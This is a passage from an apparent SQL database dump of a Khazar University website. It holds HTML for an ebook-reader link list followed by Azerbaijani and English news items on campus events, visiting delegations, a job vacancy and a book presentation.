href=\"http://googleads.g.doubleclick.net/aclk?sa=L&amp;ai=Br6hxHOXATfTvJZDf_AathqWBAuXEydUB9bfP2hnAjbcBoP4KEAMYAyDjh4ANKAQ4AFCWmOyx-_____8BYKC4PrIBEXd3dy5tYWtldXNlb2YuY29tugEKMzM2eDI4MF9qc8gBAdoBQWh0dHA6Ly93d3cubWFrZXVzZW9mLmNvbS90YWcvdGhlLWJlc3QtNi1zaXRlcy10by1nZXQtZnJlZS1lYm9va3MvgAIBqQKONXw7JN24PsgC9emnFKgDAegD4AToAxb1AwAAAEQ&amp;num=3&amp;sig=AGiWqtyRq2hKgsWaNA0RyHkivVSWs7BLwg&amp;client=ca-pub-5700237260308472&amp;adurl=http://www.digibooks4all.com\"><strong>www.digibooks4all.com</strong></a>&nbsp;<strong>–&nbsp;</strong>No\r\ninvestment. Pay as you sell.&nbsp;Sell your ebooks on any device.</p><p style=\"text-align:justify\"><a href=\"http://www.adobe.com/products/digitaleditions/\"><strong>Digital Editions</strong></a>&nbsp;<strong>–&nbsp;&nbsp;</strong>Free\r\nePub reader from Adobe. Runs on Mac and Windows.</p><p style=\"text-align:justify\"><a href=\"http://www.epubread.com/en/\"><strong>ePubReader</strong></a><strong>&nbsp;–&nbsp;&nbsp;</strong>A\r\nfree plugin for Firefox which enables you to read ePub books. For Linux,\r\nWindows and MAC.</p><p style=\"text-align:justify\"><a href=\"http://www.fbreader.org/\"><strong>FBReader&nbsp;</strong></a><strong>–&nbsp;</strong>Freeware\r\nePub reader for Linux, Windows, MAC, Maemo, FreeBSD, Android and a number of\r\nother platforms.</p><p style=\"text-align:justify\"><a href=\"http://www.foxitsoftware.com/pdf/rd_intro.php\"><strong>Foxit Reader</strong></a><strong>&nbsp;\r\n–&nbsp;</strong>Free PDF reader for Windows.</p><p style=\"text-align:justify\">\r\n<a href=\"http://googleads.g.doubleclick.net/aclk?sa=L&amp;ai=BfIepHOXATfTvJZDf_AathqWBAvix8o8Bgu78wRDAjbcBgMVmEAIYAiDjh4ANKAQ4AFC4saS6BWCguD6yARF3d3cubWFrZXVzZW9mLmNvbboBCjMzNngyODBfanPIAQHaAUFodHRwOi8vd3d3Lm1ha2V1c2VvZi5jb20vdGFnL3RoZS1iZXN0LTYtc2l0ZXMtdG8tZ2V0LWZyZWUtZWJvb2tzL6kCZP_3giufYz7IArbbqBWoAwHoA-AE6AMW9QMAAABE&amp;num=2&amp;sig=AGiWqtyo8Cicu6WGbj_inCAOpUTxhnV-Ew&amp;client=ca-pub-5700237260308472&amp;adurl=http://alfaebooks.com\"><strong>Ebook\r\nLibrary Software</strong></a>&nbsp;<a href=\"http://googleads.g.doubleclick.net/aclk?sa=L&amp;ai=BfIepHOXATfTvJZDf_AathqWBAvix8o8Bgu78wRDAjbcBgMVmEAIYAiDjh4ANKAQ4AFC4saS6BWCguD6yARF3d3cubWFrZXVzZW9mLmNvbboBCjMzNngyODBfanPIAQHaAUFodHRwOi8vd3d3Lm1ha2V1c2VvZi5jb20vdGFnL3RoZS1iZXN0LTYtc2l0ZXMtdG8tZ2V0LWZyZWUtZWJvb2tzL6kCZP_3giufYz7IArbbqBWoAwHoA-AE6AMW9QMAAABE&amp;num=2&amp;sig=AGiWqtyo8Cicu6WGbj_inCAOpUTxhnV-Ew&amp;client=ca-pub-5700237260308472&amp;adurl=http://alfaebooks.com\"><strong>alfaebooks.com</strong></a><strong>&nbsp;–&nbsp;</strong>Easy\r\nand powerful program for&nbsp;E-Book library management<strong>.</strong></p><p style=\"text-align:justify\"><strong></strong><a href=\"http://www.lucidor.org/lucidor/\"><strong>Lucidor</strong></a><strong>&nbsp;–&nbsp;</strong>Freeware\r\nePub reader for Linux, Windows and MAC.</p><p style=\"text-align:justify\"><a href=\"http://www.mobipocket.com/en/DownloadSoft/ProductDetailsReader.asp\"><strong>MobiPocket</strong></a><strong>&nbsp;–&nbsp;</strong>Free\r\nePub reader for Windows, Blackberry, Epoc, HPC, Palm, Windows Mobile, Nokia and\r\nmore.</p><p style=\"text-align:justify\"><a href=\"http://www.treepad.com/treepadviewer/\"><strong>TreePad Viewer</strong></a><strong>&nbsp;–&nbsp;</strong>Free\r\nePub reader for Windows (a Linux and MAC version is on the way as well). uRead\r\nhas a Chinese and an English version<strong>.</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>Free Ebooks For Your iPod, PDA, Smartphone, Blackberry etc.&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong><a href=\"http://www.gutenberg.org/\">www.gutenberg.org</a></strong></p><p style=\"text-align:justify\"><strong><a href=\"http://www.gutenberg.org/\"></a></strong><a href=\"http://www.manybooks.net/\"><strong>www.manybooks.net</strong></a>&nbsp;<strong><a href=\"http://www.makeuseof.com/dir/manybooks-free-ebooks-pda-ipod-ebook-reader/\">(Make\r\nUse of Review)</a></strong></p><p style=\"text-align:justify\"><strong><a href=\"http://www.makeuseof.com/dir/manybooks-free-ebooks-pda-ipod-ebook-reader/\"></a></strong><a href=\"http://www.feedbooks.com/\"><strong>www.feedbooks.com</strong></a>&nbsp;<strong><a href=\"http://www.makeuseof.com/dir/feedbooks/\">(Make Use of Review)</a></strong></p><p style=\"text-align:justify\"><strong><a href=\"http://www.makeuseof.com/dir/feedbooks/\"></a></strong><a href=\"http://www.booksinmyphone.com/\"><strong>www.booksinmyphone.com</strong></a>&nbsp;<strong><a href=\"https://www.makeuseof.com/tags/longform-guide/\">(Make Use of Review)</a></strong></p>'),(5057,2944,'az','Kitabxana Kolleksiyaları','Kitabxana Kolleksiyaları','<p style=\"text-align:justify\">Khazar&nbsp;University&nbsp;holds the largest library collection among private universities and the largest collection in the English language in&nbsp;Azerbaijan.&nbsp;</p><p style=\"text-align:justify\">Khazar University Library Information Center collects printed and electronic materials in Azerbaijani, English, Russian, Turkish, Arabic, Persian, German, French, Japan, Chinese and other modern European and Oriental languages in the fields of Business Studies, Economics and Management, Engineering and Applied Sciences, Education, Social Sciences, Political Science and International Relations, Legal Studies, Education, Language Studies, Arts, Philosophy, Literature, History, and Medical Sciences. An average 75% of the library materials are in English. Textbooks published all over the world, as well as publications of Khazar University Press are widely presented in the library. Khazar University LIC has an extensive reference collection, including monolingual and bilingual encyclopedias. Besides purchases, LIC collections have grown through donations and various grants, allowing development of target collection.</p><p style=\"text-align:justify\">LIC has been continuing some projects related to the library collection development, including a long-term work with international library foundations and programs, such as Journal Donation Program, Science Journal Distribution Program, Sabre Foundation, American Chemical Society, Islamic Foundation, Corporate Body of Buddha Education Foundation in Taiwan, Japan Foundation Library Support Program, International Book Project, World Vision\'s Gift in Kind Program, Chinese Corner and others.&nbsp;</p><p style=\"text-align:justify\">LIC builds its collection of publications, share knowledge, and promote the exchange of scientific information is to establish publications exchange partnerships with The Library of Congress, UCLA and others.</p>'),(4280,2524,'az','Məmməd Arazın xatirəsinə həsr olunmuş “Poeziya günü” keçirildi','2017-ci il oktyabrın 14-də AMEA-nın Milli Azərbaycan Tarixi Muzeyində Xəzər Universitetinin müəllimi...','<p>2017-ci il oktyabrın 14-də AMEA-nın Milli Azərbaycan Tarixi Muzeyində Xəzər Universitetinin müəllimi Qardaşxan Əzizxanlının təşəbbüsü və təşkilatçılığı, habelə Azərbaycan Respublikasının Prezidenti yanında Bilik Fondunun və Azərbaycan Yazıçılar Birliyinin dəstəyi ilə respublikada ikinci dəfə “Məmməd Araz Poeziya günü” keçirildi.</p><p>Tədbirdə əvvəlcə böyük sənətkarın öz səsində “Ana yurdum” şeiri dinlənildi.</p><p>Layihənin ideya müəllifi Qardaşxan Əzizxanlı, millət vəkili Aqil Abbas, Bilik Fondunun sektor müdiri Hacı Nərimanoğlu, Azərbaycan Yazıçılar Birliyinin katibi Rəşad Məcid, şairin qızı –&nbsp;“Ədalət” qəzetinin baş redaktoru İradə Tuncay və başqaları çıxış edərək, böyük sənətkarın həyatından, zəngin yaradıcılığından söz açdılar.</p><p>Sonra məktəblilər şairin poeziyasından nümunələr söylədilər. Əməkdar artist Yaqub Zurufçunun və vokalist İlham Əsgəroğlunun ifasında şairin sözlərinə yazılmış mahnılar səsləndirildi. Moskva Dərviş Teatrının aktyoru Şirzad Pirallahının “Koroğlu” uvertürasının sədaları altında ifa etdiyi M.Arazın məşhur “Ayağa dur, Azərbaycan” şeiri sürəkli alqışlarla qarşılandı. Tədbirdə Xəzər Universiteti Azərbaycan dili və ədəbiyyatı departamentinin əməkdaşı Günel İsmayılova iştirak edirdi.</p>'),(4281,2525,'az','“Potensial məktəb direktorlarına məktəbin idarə edilməsi üzrə təlim kursu” üçün namizədlərin seçilməsinə dair müsabiqə keçiriləcək','Xəzər Universiteti “Potensial məktəb direktorlarına məktəbin idarə edilməsi üzrə təlim” üçün...','<br><p>Xəzər Universiteti “Potensial məktəb direktorlarına məktəbin idarə edilməsi üzrə təlim” üçün&nbsp;namizədlərin seçilməsinə dair müsabiqə elan edir.</p><p>Təlimlər 7 modul və cəmi 128 saat olmaqla, 12 həftə davam edəcəkdir. Hər modul üzrə mütəmadi tədqiqat mövzuları veriləcək, qiymətləndirmələr aparılacaq, təlim sonunda uğur qazanan iştirakçılara Xəzər Universiteti tərəfindən “Peşəkar İnkişaf Sertifikatı” təqdim olunacaq və gələcəkdə bu sahə üzrə magistr təhsilini Xəzər Universitetində davam etdirmək istəyənlər üçün 5 (ECTS) kredit veriləcək.</p><p>Sertifikat alan şəxslər Təhsil Nazirliyi tərəfindən ümumi təhsil müəssisələrinin direktorları vəzifəsinə gələcəkdə yaranan vakansiyalar üzrə keçiriləcək müsabiqədə iştirak edə bilərlər.</p><p><strong><br></strong></p><p><strong>Namizədlər üçün minimum tələblər:</strong></p><p></p><ul><li>ali təhsil;</li><li>təhsil sahəsində ən azı 5-7 il iş təcrübəsi;</li><li>kompüter bacarıqları;</li><li>Azərbaycan dili –&nbsp;səlis; ingilis, rus və ya&nbsp;türk dilləri arzuolunandır.</li></ul><p></p><p>Yuxarıdakı tələblərə cavab verən namizədlər 2 mərhələli seçim əsasında müəyyən ediləcəklər:&nbsp;</p><p>1) Tərcümeyi- halın (CV) qiymətləndirilməsi; 2) Yazılı imtahan nəticəsinin qiymətləndirilməsi.&nbsp;</p><p>Maraqlananlar tərcümeyi-hallarını (CV)&nbsp;<span style=\"color:#0000cc;text-decoration:underline\">development[at]khazar.org</span>&nbsp;elektron ünvanına göndərə və ya (+99412) 421-79-16 (dax.249) nömrəli telefona zəng edib əlavə məlumatı ala bilərlər.</p><p>Kursa davamiyyət&nbsp;<strong>ödənişlidir</strong>.</p><p>Son müraciət tarixi:&nbsp;<strong>27 oktyabr 2017-ci il</strong>.</p>'),(6317,3593,'az','“Tarixi obyekt əsasında turizm obyektinin yaradılması” mövzusunda təqdimatlar oldu','2018-ci il oktyabrın 21-də Xəzər Universiteti İqtisadiyyat və menecment fakultəsinin...','<p>2018-ci il oktyabrın 21-də Xəzər Universiteti İqtisadiyyat və menecment fakultəsinin I kurs tələbələri “Tarixi obyekt əsasında turizm obyektinin yaradılması” mövzusunda təqdimatlar hazırlamışlar. Universitetin Tarix və arxeologiya departamentinin müəllimi t.ü.f.d. Səbuhi Əhmədov tərəfindən Azərbaycanın Orta əsr unikal abidəsi olan Ramanı qalasının turizm obyektinə çevrilməsinin yollarının axtarılıb tapılması, müvafiq layihənin tərtib edilməsi təklif edilmişdir. Tələbələr burada turistik infrastrukturun, muzey ekspozisiyasının yaradılması, obyektin maddi-təminat məsələləri və onların həlli yolları, təbliğat –PR kampaniyası ilə bağlı öz təklif və ideyalarını təqdim etmişdilər.</p><p>Prezentasiyanı təqdim edən hər tələbə ümumi məqamlarla bərabər bəzi işlərin görülməsini xüsusi vurğulamışdır. Kənan İsmayılov abidəyə xüsusi nəqliyyatın, bu baxımdan servisin təşkilinin vacibliyini qeyd etmişdir. Abidədə olaraq onun vəziyyətini əks etdirən fotoşəkillər çəkmiş İsayeva Aytən və Fatimə Vəlizadə abidədə bərpa işlərinin aparılmasını, bələdçinin peşəkar səviyyədə hazırlanmasını təklif etməklə bərabər burada “Ford Bayard” tipli şounun keçirilməsini və bununla da qalaya diqqətin cəlb edilməsini göstərmişlər. Səfərəliyev Ceyhun və Zülfüqarov Pərviz abidədə olaraq ətrafda park salınmasının vacibliyini vurğulamış, qalada hərb tarixinə aid ekspozisiyanın qurulmasını təklif etmişlər. Ceyhun və Pərviz sosial şəbəkələr və saytlat vasitəsilə xaricilərin qala ilə bağlı təəsüratları ilə də maraqlanmışlar. Ramil Sayidov qalanın reklam edilməsinin vacibliyini vurğulayaraq xüsusi promorolikin hazırlanmasını, ayrıca PR kampaniyasının təşkilini diqqətə çatdırmışdır.</p><p>Elçin Həmidov qalanın Azərbaycan kinofilmləri üçün çəkiliş meydançası kimi istifadə olunmasını nəzərə alaraq burada müvafiq stendlərin qurulmasını göstərmişdir. Gülnar Qasımlı qalanın daxili məkanının darlığını nəzərə alaraq burada virtual reallıq 3D eynəklərindən geniş istifadə edilməsini təklif etmişdir. Nərmin Rəsulova qalada və ya onun yaxınlığında kiçik milli üslublu restoranın təşkil edilməsini cəlbedici məqam kimi göstərmişdir. Rüfət Şirvanlı və Mehti Qəmbərov qalanın hündürlükdə yerləşməsini nəzərə alaraq yaxınlıqda qədimi üslubda otelin inşa edilməsini, həmçinin qalanın qarşısında orta əsr üslubunda hazırlanmış suvenirlər bazarının təşkil edilməsini təklif etmişlər</p>'),(6214,3537,'en','“China in My Eyes” Exchange Meeting in Khazar University','On October 17, 2018, Chinese class students successfully held “China in My eyes...','<p>On October 17, 2018, Chinese class students successfully held “China in My eyes” Exchange meeting.</p><p>This event was organized by the help of Chinese language instructor Li Ya. Dean of Economics Dr. Jeyhun Mammadov, vice dean Shahriyar Mukhtarov, Zulfiya Rasimova,&nbsp;Chinese language teacher of ABC school, Amanullah Nazari, Aghakhan Baghirli and Ilgar Orucov are invited to attend this meeting.</p><p>Dr. Jeyhun Mammadov made an opening speech, which pointed out, Chinese language are very useful and practical on these days, this year we had three students from our department joined Chinese Summer School in Anhui University, we are so glad to see their fruitful achievements. Hope more and more students learn Chinese well and get this kind of chance in the future.</p><p>Amanullah Nazari, Aghakhan Baghirli and Ilgar Orucov, who had attended Chinese Summer school shared their experience in China: High speed train, diversity classes, eye-catching landscapes, delicious cuisine, shared=bicycle, well-organization schedule and international friends...... all give them fantastic impression. They were glad and satisfied that they had participated in this project.</p><p>Zulfiya Rasimova, who shared her story of leaning Chinese language, instructed the Chinese class students to learn Chinese purposely and diligently,&nbsp;which will be important to future career. During the question time, students ask a lot detailed information about China and Language learning.</p>'),(4282,2526,'az','Doktorantura və Magistratura Birliyi Azərbaycan Elm Assosiasiyasının nümayəndələri ilə görüşdü','2017-ci il oktyabrın 13-də Xəzər Universiteti Doktorantura və Magistratura Birliyi (Khazar University PhD&Master Association)...','<p>2017-ci il oktyabrın 13-də Xəzər Universiteti Doktorantura və Magistratura Birliyi (Khazar University PhD&amp;Master Association) Azərbaycan Elm Assosiasiyasının nümayəndə heyətini Xəzər Universitetində qəbul etdi. Tələbələrlə keçirilən görüşdə həmsədrlərdən Oxford Universitetinin doktorantura tələbəsi Tərlan Süleymanov “Sürücüsüz avtomobillər” mövzusunda seminarını təqdim etdi.</p><p>Görüş iki qurum arasında qarşılıqlı əməkdaşlığın ilk addımı olaraq əhəmiyyət daşıyır.</p>'),(6213,3537,'az','Xəzər Universitetində “Çin mənim nəzərimdə” adlı mübadilə görüşü keçirildi','2018-ci il oktyabrın 17-də çinli tələbələr Xəzər Universitetində “Çin mənim nəzərimdə” adlı mübadilə görüşü...','<p>2018-ci il oktyabrın 17-də çinli tələbələr Xəzər Universitetində “Çin mənim nəzərimdə” adlı mübadilə görüşü keçirdilər. Görüşdə Çin dili müəllimi Li Ya, Xəzər Universiteti İqtisadiyyat və Menecment fakültəsinin dekanı Dr.Ceyhun Məmmədov, həmin fakültənin dekan müavini Dr.Şəhriyar Muxtarov, Zülfiyyə Rasimova, ABC məktəninin Çin dili müəllimi, Amanullah Nazari, Ağaxan Bağırlı və İlqar Orucov da iştirak edirdilər.</p><p>Açılış nitqi söyləyən Dr.Ceyhun Məmmədov qeyd etdi ki, Çin dili müasir dövrdə çox praktiki əhəmiyyətə malikdir. Dr.Ceyhun Məmmədov bildirdi ki, bu il rəhbərlik etdiyi fakültənin 3 tələbəsi Çinin Anhui Universitetində yay məktəbində olmuşlar. O, əlavə etdi ki, daha çox tələbənin Çin dilinə maraq göstərəcəyinə və belə imkanlar əldə edəcəyinə ümid edir.</p><p>Yay məktəbində iştirak edən Amanullah Nazari, Ağaxan Bağırlı və İlqar Orucov öz təcrübələri – sürətli qatar, fərqli sosial zümrələr, gözəl mənzərələr, dadlı təamlar, əcnəbi dostlar və s. haqqında danışdılar və bu proqramda istirak etdiklərinə görə məmnunluqlarını bildirdilər.</p><p>Özünün Çin dili təlimi təcrübəsindən danışan Zülfiyyə Rasimova tələbələrə tövsiyə etdi ki, Çin dilini məqsədyönlü və zəhmətkeçliklə öyrənsinlər. Çünki bu dil gələcək karyeraları üçün çox əhəmiyyətlidir.</p><p>Sual-cavab hissəsində tələbələr Çin və Çin dili haqqında çoxlu suallar verdilər.</p>'),(5973,3413,'az','“Dünya” jurnalının may-iyun nömrəsi çapdan çıxıb','Xəzər Universiteti “Dünya” Təhsil Kompleksinin nəşri olan “Dünya” jurnalının 2018-ci il may-iyun...','<p>Xəzər Universiteti “Dünya” Təhsil Kompleksinin nəşri olan “Dünya” jurnalının 2018-ci il may-iyun nömrəsi (26-cı nömrə) Xəzər Universitetinin mətbəəsində çapdan çıxmışdır.</p>'),(5974,3413,'en','May-June issue of “Dunya” journal is published','May-June issue 2018 (number 26) of “Dunya” journal, a publication of “Dunya” Education Complex affiliated...','<p>May-June issue 2018 (number 26) of “Dunya” journal, a publication of “Dunya” Education Complex affiliated with Khazar University, has been published at the Khazar University press.</p>'),(6050,3453,'az','Dillər və mədəniyyətlər departmentinin müəllimi beynəlxalq simpoziumda','2018-ci il sentyabrın 27-28-də Xəzər Universitetinin Dillər və mədəniyyətlər departmentinin...','<p>2018-ci il sentyabrın 27-28-də Xəzər Universitetinin Dillər və mədəniyyətlər departmentinin müəllimi dosent Elnurə Akif qızı Əzizova Türkiyə Respublikasının Sivas şəhərində Cümhuriyyət Universitetinin təşkilatçılığı ilə keçirilən “Əxilikdə iş və ticarət əxlaqı” (“Ahilikte iş ve ticaret ahlakı”) adlı beynəlxalq simpoziumda iştirak etdi. Dosent Əzizova simpoziumda “<em>Əxilər peyğəmbərlərin mirasçılarıdırlar: Mənşəyin müqəddəsliyi çərçivəsində üxüvvət təşkilatının nəbəvi referansları”</em> adlı məruzə ilə çıxış etdi.</p><p>8 ölkədən 40-a yaxın məruzəçi Türk-İslam tarixində sosial, dini və iqtisadi cəhətdən mühüm rolu olmuş “Üxüvvət təşkilatı”nda iş və ticarət əxlaqına dair müxtəlif mövzularla simpoziumda çıxış etmişdir. Simpoziumun elmi heyətinin üzvlərindən olan E.Əzizova moderatoru olduğu panelin sonunda məruzəçilərə sertifikatlarını təqdim etdi.</p>'),(4501,2665,'en','Delegation from University of Malaysia Perlis Visits Khazar University','On November 22, 2017, academic and administrative staff and students from University of Malaysia Perlis visited Neftchilar campus of Khazar University...','<p>On November 22, 2017, academic and administrative staff and students from University of Malaysia Perlis visited Neftchilar campus of Khazar University.</p><p>The main purposes of the event were to establish cooperation between the two universities, to sign a memorandum of understanding and to provide the meeting of the student-leaders of both universities. Mr. Dato’ Roslan Tan Sri Abdul Rahman, Ambassador of Malaysia to Azerbaijan; Mrs. Azri Hazwani Abdul Aziz, the First Secretary of the Embassy; Movlana Mamedzadeh, the translator of the Ambassador; Mr. Tuanku Syed Faizuddin Putra Ibni Tuanku Syed Sirajuddin Jamalullail, prince of Perlis state and the rector of Perlis University; academic and administrative staff and students of the university participated at the meeting coordinated by the International Relations Department. The meeting was also attended by Dr. Hasan Niknafs, Rector of the University; Professor Mahammad Nuriyev, Vice Rector for Academic Affairs; Irada Khalilova, Vice Rector for Research; Alovsat Amirbeyli, Director for Public Relations and Media; personnel of the Department of International Relations, academic and administrative staff, faculty members and students of the Faculty of Engineering and Applied Sciences of Khazar University.</p><p>The event was opened by Turan Jafarova, Director of the International Relations Department. She reviewed the agenda of the event and gave the floor to Dr. Hasan Niknafs, Rector of Khazar University, to welcome the guests. The Rector welcomed the guests, highlighted the importance of the meeting and spoke about future cooperation plans between the two universities. Then the floor was given to Mr. Tuanku Syed Faizuddin Putra Ibni Tuanku Syed Sirajuddin Jamalullail, prince of Perlis state and rector of Perlis University. The rector of the Perlis University in Malaysia conveyed his best wishes to Khazar University and expressed his gratitude for the high level of organization of the event and noted that this event is of great importance for the development of the two universities. Mr. Dato’ Roslan Tan Sri Abdul Rahman, Ambassador of Malaysia to Azerbaijan, spoke about the Embassy\'s cooperation with Khazar University in the field of education. The ambassador emphasized that Perlis University is one of the leading universities in Malaysia in the field of engineering, and noted that he will support the establishment of cooperation with other Malaysian universities in the future.</p><p>Representatives from both universities made presentations about their universities at the event. The presentations were followed by a question and answer session to exchange views and answer questions of participants from both universities. After the discussion, a memorandum of understanding was signed between the universities.</p><p>After a short tea break, the event continued with the speeches of students from two universities. The students from Perlis University in Malaysia expressed satisfaction with this visit and noted that thanks to it they made new friends. Local and international students of the Faculty of Engineering and Applied Sciences of Khazar University shared their impressions as well.</p><p>At the end of the event, memorable presents were given to the management and students of the University of Perlis at Khazar University. The guests also presented memorable gifts to the management of Khazar University.</p><p>Then an excursion was arranged for the guests at Khazar University\'s Neftchilar campus. During the excursion, guests were introduced to the library, cultural centre, computer centres and laboratories of Khazar University.</p>'),(4816,2629,'en','Khazar University instructor died tragically','As reported, mass media gave information on Alibanda Aliyev, who died in fire in Masazir on the night of...','<p>As reported, mass media gave information on Alibanda Aliyev, who died in fire in Masazir on the night of November 11, 2017. He was a dance instructor at “Dunya” school affiliated with Khazar University.</p><p>Link for further information:</p><p style=\"background:undefined \"><a href=\"http://editor.az/abseronda-yanaraq-ol%C9%99n-s%C9%99xs-taninmis-r%C9%99qqas-imis-foto/#Kalibri\">http://editor.az/abseronda-yanaraq-olənşəxs-taninmis-rəqqas-imis-foto</a></p><p><a href=\"http://www.gununsesi.info/az%C9%99rbaycanli-r%C9%99qqas-yanaraq-oldu/\">http://www.gununsesi.info/azərbaycanli-rəqqas-yanaraq-oldu/</a></p><p><a href=\"http://www.unikal.org/w166507.html\">http://www.unikal.org/w166507.html</a></p><p><a href=\"http://bakipost.az/abseronda-taninmis-reqqas-yanaraq-ldu-foto/\">http://bakipost.az/abseronda-taninmis-reqqas-yanaraq-ldu-foto/</a></p><p><a href=\"http://sumqayitxeber.com/olke/abseronda-yanaraq-olen-sexs-taninmis-reqqas-imis-yenilenib-foto.html\">http://sumqayitxeber.com/olke/abseronda-yanaraq-olen-sexs-taninmis-reqqas-imis-yenilenib-foto.html</a>.</p>'),(6212,3536,'en','Hamlet Isakhanli at the World Cultural Forum','Khazar University founder, Chairman of its Board of Directors and Trustees Prof. Hamlet Isakhanli was invited...','<p>Khazar University founder, Chairman of its Board of Directors and Trustees Prof. Hamlet Isakhanli was invited “for his remarkable achievements in relevant fields” to the Fifth Annual Conference of World Cultural Forum – Dialogue of Civilizations: Building a Community of Shared Future for Mankind held in Tai Hu, China from October 16-19, 2018.&nbsp;</p><p>Prof.&nbsp;Isakhanli delivered his speech on “<em>Major Rivers flow from the West to the East: Azerbaijan and China</em>”, where he correlates Azerbaijan and China from the historical and cultural viewpoint as the heirs of the Silk Road.</p><p>World Cultural Forum is a high-level, non-governmental international cultural forum. It is also the only national non-governmental organization named after a forum and registered with the Ministry of Civil Affairs. With an executive board based in Beijing, the forum, since its initiation, has successfully held four annual conferences, with participation of people from all walks of life both at home and abroad covering over 60 countries and regions on five continents.</p><p>In a world laden with uncertainties and instability, no civilization alone can address the challenges shared by all mankind. When people across the world desire a clean and beautiful world of peace and development, openness and inclusiveness, lasting peace and universal security, as well as common prosperity, culture is expected to shoulder a fundamental, overarching, strategic responsibility in the long run. In the light of this, the fifth annual conference, with the theme “<em>Dialogues of Civilizations: Building a Community of Shared Future for Mankind</em>”, presents an opportunity for elites from various sectors in China and beyond to share ideas and learn from each other, contributing collective wisdoms to the development of “universal civilization”.</p>'),(6217,3539,'en','Events','Events','<h3>An article by an associate of the Department of Psychology is published</h3><p>An article entitled “A sample of psychological analysis in art: analysis of Prof. Hamlet Isakhanli’s poem “The life would be so easy!” based on William Glasser’s reality therapy”, by Melek Karimova, Coordinator of the Department of Psychology of Khazar University and Director of Center for Psychological Service, has been published in the journal of “Issues of Philology” (ISSN 2224-9257), number 11, 2018, included in Periodical Scientific Publications of the Higher Attestation Commission under the President of the Republic of Azerbaijan.</p>'),(6218,3539,'az','Elanlar','Elanlar',''),(6219,3540,'en','Psychological Service Center announces “Family Psychology” course','',''),(5715,3280,'en','Meeting at Jyväskylä University within PETRA project','On May 28-June 1, 2018, Assoc.Prof. Elza Samadova, Dean of the School of Education of Khazar University...','<p>On May 28-June 1, 2018, Assoc.Prof. Elza Samadova, Dean of the School of Education of Khazar University, Lyudmila Sotova, Director of the Quality Assurance Center, Kamala Asgarova, Coordinator of the Department of English Language and Literature, Ulkar Bayramova, Project Manager of Development Office, and Goshgar Maharramov, Coordinator of the School of Education, participated in a series of seminars held at Jyväskylä University within ERASMUS+ project “Promoting Excellence in Teaching and Learning in Azerbaijani Universities”.</p><p>About 30 representatives of partner universities from Azerbaijan (Khazar University, Nakhchivan State University, Ganja State University, Sumgayit State University, Baku Slavic University, Azerbaijan University of Languages, Azerbaijan State Pedagogical University, Azerbaijan University) and Europe (Debrecen University - Hungary, Valencia Polytechnic University - Spain, Vienna University of Applied Sciences - Austria, Gazi University - Turkey) joined the seminars.</p><p>Within a five-day seminar, participants were informed about Jyväskylä University, researches at this University, the development of an electronic database of researches, Open Access, and Moodle system. Moreover, the participants joined the trainings on the use of Moodle system.</p><p>The participants were certified at the end of the trainings.</p>'),(5318,3079,'en','Ambassador of Iraq visits Khazar University','On April 2, 2018, Dr. Fadhil Awad Jebur AL-Shuwai, the Ambassador Extraordinary...','<p>On April 2, 2018, Dr. Fadhil Awad Jebur AL-Shuwai, the Ambassador Extraordinary and Plenipotentiary of Iraq to the Republic of Azerbaijan, and Assoc Prof. Dr. Nazar Kareem Jawad Rabeeah, International Vice-President of Isles International University for the Middle East, visited Khazar University, Neftchiler campus.</p><p>The goal of the visit was to establish collaboration between the Isles International University for the Middle East (Baghdad) and Khazar University. Dr. Hassan Niknafs, Rector, and Turan Jafarova, Director of International Affairs Office, represented Khazar University in the meeting.</p>'),(4934,2878,'en','Vacancy Announcement','Khazar University is seeking a qualified applicant to fill a position of an assistant at the International Affairs Office...','<p><strong>Deadline</strong>: February 26, 2018</p>\r\n<p><strong>Vacancy</strong>: Assistant</p><p><strong>Department/Office</strong>: International Affairs Office</p>\r\n<p><br></p><p>Khazar University is seeking a qualified applicant to fill a position of an assistant at the International Affairs Office.</p>\r\n<p><br></p><p>Minimum Requirements:</p><ul><li>Bachelor’s degree</li><li>Excellent English language skills</li><li>Good communication skills</li><li>Flexible and quick-learner able to work independently as well as in a team</li></ul>\r\n<p><br></p><p>Responsibilities include but are not limited to:</p><ul><li>Oversee all migration issues and work with State Migration Service and Ministry of Foreign Affairs of Azerbaijan Republic</li><li>Coordinate guidance, accommodation/housing, pick-up and other services for incoming foreign students/staff/visitors</li><li>Provide assistance with international student recruitment, admission and engagement</li><li>Assist in implementation of other projects and programs</li></ul><br>\r\n<p><strong>All qualified candidates are encouraged to apply by sending their CV/resumes to <a href=\"mailto:tjafarova@khazar.org?subject=Assistant at International Affairs Office\">tjafarova@khazar.org</a> by <span style=\"color:#ff0033\">February 26, 2018</span>, with the following subject line:</strong></p><p><strong>Assistant at International Affairs Office.</strong></p>\r\n<p><br></p><p>Late applications will not be considered. Only shortlisted candidates will be contacted for interviews.</p>\r\n<p><strong><br></strong></p><p><strong>International Affairs Office</strong></p><p>The International Affairs Office of Khazar University is responsible for design and implementation of the university’s overall internationalization strategy, including recruitment, admission, and engagement of international students, mobility/exchange programs for students/staff, cooperation with universities/organizations/foreign embassies in Azerbaijan and Embassies of Azerbaijan abroad as well as other tasks/projects contributing to the university’s mission and vision. The International Affairs Office also provides guidance and advising services to international students/scholars/visitors of Khazar University.&nbsp;</p><p>For more information about the International Affairs Office visit:</p><p><a href=\"http://www.khazar.org/en/menus/159/international_affairs_office\">http://www.khazar.org/en/menus/159/international_affairs_office</a></p>'),(4933,2877,'en','Presentation of a new book by a prominent scientist','Presentation ceremony of the book on decision-making theory by a prominent scientist Rafig Aliyev...','<p>Presentation ceremony of the book on decision-making theory by a prominent scientist Rafig Aliyev, one of the greatest experts on fuzzy logic and artificial intelligence, which was published in the USA, was held in Marble Hall of Khazar University, on February 2, 2018.</p><p>“Uncertain computation based decision theory”, which is 75<sup>th</sup> monograph by the professor, was published by “World Scientific”, one of the famous scientific publishers. “World Scientific” is interested in publishing researches meeting world standards. The book by our compatriot will be used as a textbook in several countries including the USA.</p><p>Prof. Hamlet Isakhanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, delivered an opening speech talking about great achievements of the scientist.</p><p>Ramiz Rovshan, a poet, Nadirbek Sadigbekov, Uzbek scientist academic, Gulu Maharramli, a journalist and publicist, and Rafig Rashad Aliyev, Prof. Rafig Aliyev’s grandson who is studying at Durham University (Great Britain), delivered speeches underlining various aspects of scientific activities of the professor.</p><p>In his speech, Rafig Aliyev talked about background of the book and expressed his gratitude to university administration for the presentation ceremony.</p><p>At the ceremony, Chamber Orchestra of Khazar University performed pieces of music, and a short film about life and 